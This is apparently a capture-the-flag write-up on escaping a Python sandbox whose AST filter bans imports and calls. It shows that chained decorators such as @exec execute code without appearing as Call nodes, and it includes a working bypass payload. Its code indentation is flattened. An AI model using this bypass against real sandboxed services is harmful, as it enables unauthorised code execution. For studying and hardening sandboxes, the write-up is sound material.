It's one of those python sandboxing problems. You enter python script, server evaluates....if it passes the filter function below.
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
As you can see, it's using the abstract syntax tree of python interpreter to prevent malicious actions. In detail, it prevents any explicit calls and imports.
To make things a bit easier, os
and sys
is already imported.
It's true that we cannot do anything if we can't get any calls or imports.
However, performing calls does not always imply using a ()
for calling.
One of the handy features of python are the Decorators. They allow you to wrap function calls in other functions with least effort.
But the important point here is, that using decorators like @decorator
is evaluated as a function call in the runtime, but is not classified as a function call when it's parsed. If you take a code snippnet like this,
@super
def victim():
pass
....and dump the contents with python's builtin ast
module, you'll get the following results.
FunctionDef(
name='victim',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Pass()],
decorator_list=[
Name(id='super', ctx=Load())])
As you can see, a decorator call to super
has became an attribute of this Function definition, namely decorator_list
.
And by chaining these decorators, we can get unrestricted code excution.
This is one of the examples from my teammates.
class A:
def __init__(self):
return 'print(3)'
@exec
@A.__init__
def f():
pass